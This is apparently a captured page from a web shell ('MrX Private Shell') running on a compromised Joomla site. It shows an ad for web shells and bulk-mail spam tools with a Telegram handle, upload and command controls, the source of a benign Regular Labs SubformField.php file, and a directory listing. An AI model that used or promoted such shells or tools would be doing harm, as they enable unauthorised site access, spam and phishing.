__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package         Regular Labs Library
 * @version         25.6.10828
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */
namespace RegularLabs\Library\Form\Field;

use InvalidArgumentException;
use Joomla\CMS\Form\Field\SubformField as JSubformField;
use Joomla\CMS\Form\Form;
use RuntimeException;
use function count;
defined('_JEXEC') or die;
class SubformField extends JSubformField
{
    /**
     * @var    string
     */
    protected $layout = 'regularlabs.form.field.subform.repeatable';
    /**
     * @param string $name  The property name for which to set the value.
     * @param mixed  $value The value of the property.
     */
    public function __set($name, $value)
    {
        switch ($name) {
            case 'layout':
                $this->layout = (string) $value;
                if (!$this->layout) {
                    $this->layout = !$this->multiple ? 'joomla.form.field.subform.default' : 'regularlabs.form.field.subform.repeatable';
                }
                break;
            default:
                parent::__set($name, $value);
        }
    }
    /**
     * Loads the form instance for the subform.
     *
     * @return  Form  The form instance.
     *
     * @throws  InvalidArgumentException if no form provided.
     * @throws  RuntimeException if the form could not be loaded.
     */
    public function loadSubForm()
    {
        $control = $this->name;
        if ($this->multiple) {
            $control .= '[' . $this->fieldname . 'X]';
        }
        // Prepare the form template
        $formname = 'subform.' . str_replace(['jform[', '[', ']'], ['', '.', ''], $this->name);
        return $this->loadSubFormByName($formname, $control);
    }
    protected function getLayoutPaths()
    {
        $paths = parent::getLayoutPaths();
        $paths[] = JPATH_LIBRARIES . '/regularlabs/layouts';
        return $paths;
    }
    /**
     * Loads the form instance for the subform by given name and control.
     *
     * @param string $name    The name of the form.
     * @param string $control The control name of the form.
     *
     * @return  Form  The form instance.
     *
     * @throws  InvalidArgumentException if no form provided.
     * @throws  RuntimeException if the form could not be loaded.
     */
    protected function loadSubFormByName($name, $control)
    {
        // Prepare the form template
        return Form::getInstance($name, $this->formsource, ['control' => $control]);
    }
    /**
     * Binds given data to the subform and its elements.
     *
     * @param Form $subForm Form instance of the subform.
     *
     * @return  Form[]  Array of Form instances for the rows.
     */
    protected function loadSubFormData(Form $subForm)
    {
        $value = $this->value ? (array) $this->value : [];
        // Simple form, just bind the data and return one row.
        if (!$this->multiple) {
            $subForm->bind($value);
            return [$subForm];
        }
        // Multiple rows possible: Construct array and bind values to their respective forms.
        $forms = [];
        $value = array_values($value);
        // Show as many rows as we have values, but at least min and at most max.
        $c = max($this->min, min(count($value), $this->max));
        for ($i = 0; $i < $c; $i++) {
            $control = $this->name . '[' . $this->fieldname . $i . ']';
            $itemForm = $this->loadSubFormByName($subForm->getName() . $i, $control);
            if (!empty($value[$i])) {
                $itemForm->bind($value[$i]);
            }
            $forms[] = $itemForm;
        }
        return $forms;
    }
}

Filemanager

Name Type Size Permission Actions
AccessLevelsField.php File 1.29 KB 0664
AgentsField.php File 3.43 KB 0664
AjaxField.php File 2.66 KB 0664
BlockField.php File 1.75 KB 0664
CheckboxesField.php File 4.72 KB 0664
ComponentsField.php File 4.86 KB 0664
ContentArticlesField.php File 2.6 KB 0664
ContentCategoriesField.php File 2.03 KB 0664
CustomOptionsField.php File 1.27 KB 0664
DependencyField.php File 824 B 0664
DependencyFieldHelper.php File 1.17 KB 0664
DownloadKeyField.php File 1010 B 0664
FieldField.php File 2.57 KB 0664
GeoField.php File 64.84 KB 0664
GeoInformationField.php File 1.53 KB 0664
HeaderField.php File 4.03 KB 0664
HeaderLibraryField.php File 1.75 KB 0664
IconToggleField.php File 1019 B 0664
IconsField.php File 3.7 KB 0664
ImageField.php File 1.25 KB 0664
IsInstalledField.php File 971 B 0664
JCompatibilityField.php File 1.27 KB 0664
LanguagesField.php File 1.63 KB 0664
LicenseField.php File 829 B 0664
LoadLanguageField.php File 1.04 KB 0664
LoadMediaField.php File 1.01 KB 0664
MenuItemsField.php File 3.54 KB 0664
MiniColorField.php File 1.66 KB 0664
NoteField.php File 1.54 KB 0664
OnlyProField.php File 2.22 KB 0664
RangeField.php File 1.58 KB 0664
ShowOnField.php File 1.41 KB 0664
SimpleCategoryField.php File 2.55 KB 0664
SubformField.php File 3.75 KB 0664
TagsField.php File 1.55 KB 0664
TemplatesField.php File 4.05 KB 0664
TextAreaField.php File 1.13 KB 0664
UserGroupsField.php File 1.5 KB 0664
UsersField.php File 2.69 KB 0664
VersionField.php File 1.63 KB 0664
Filemanager